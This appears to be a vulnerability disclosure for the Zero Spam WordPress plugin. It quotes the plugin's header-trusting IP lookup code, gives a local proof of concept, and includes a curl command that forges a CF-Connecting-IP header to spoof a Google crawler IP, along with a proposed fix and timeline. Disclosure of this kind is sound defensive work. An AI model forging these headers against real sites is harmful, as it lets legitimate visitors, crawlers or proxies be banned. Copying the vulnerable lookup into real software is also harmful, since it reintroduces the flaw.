Affected plugin | Zero Spam for WordPress |
Active installs | 30,000+ |
Vulnerable version | <= 5.4.1 |
Audited version | 5.4.1 |
Fully patched version | PENDING |
Recommended remediation | PENDING |
Description
An attacker can spoof his IP while submitting spam comments to ban arbitrary IPs, search-engine crawlers, or the site’s reverse proxy.
Proof of concept
The plugin retrieves the current request’s IP with the User::get_ip method.
class User {
/**
* Gets the current user's IP.
*/
public static function get_ip() {
$settings = Settings::get_settings();
$ip = false;
// Check if a debugging IP is enabled.
if ( ! empty( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) {
// Check against Cloudflare's reported IP address.
$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_CF_CONNECTING_IP'] ) );
} else {
// Handle all other IPs.
if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) );
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED'] ) ) {
$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED'] ) );
} elseif ( ! empty( $_SERVER['HTTP_FORWARDED_FOR'] ) ) {
$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_FORWARDED_FOR'] ) );
} elseif ( ! empty( $_SERVER['HTTP_FORWARDED'] ) ) {
$ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_FORWARDED'] ) );
} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
}
}
if ( $ip ) {
$ip = explode( ',', $ip );
$ip = trim( $ip[0] );
if ( ! rest_is_ip_address( $ip ) ) {
$ip = false;
}
}
return apply_filters( 'zerospam_get_ip', $ip );
}
}
This method is wide open to IP spoofing for all the reasons already described here.
To verify, create the following must-use plugin on a local WordPress installation.
<?php
declare(strict_types=1);
// wp-content/mu-plugins/ip.php
use ZeroSpam\Core\User;
$real_user_ip = '147.93.33.75';
$_SERVER['REMOTE_ADDR'] = $real_user_ip;
if(!isset($_SERVER['HTTP_TEST_IP'])) {
return;
}
add_action('wp_loaded', function () {
echo User::get_ip();
echo "\n";
die();
});
Then run the following command:
curl -X GET https://local.test -H "Test-IP: 1" -H "CF-Connecting-IP: 66.249.66.1"
==> Output: 66.249.66.1, We spoofed one of the IPs that Google’s crawler uses.
Proposed patch
The needed patch is described in great length in this article of us.
Summary: Only ever use REMOTE_ADDR to access to current IP.
Timeline
Vendor contacted | September 13, 2022 |
First Response | PENDING |
Fully patched at | PENDING |
Publicly disclosed | April 24, 2023 |
Leave a Reply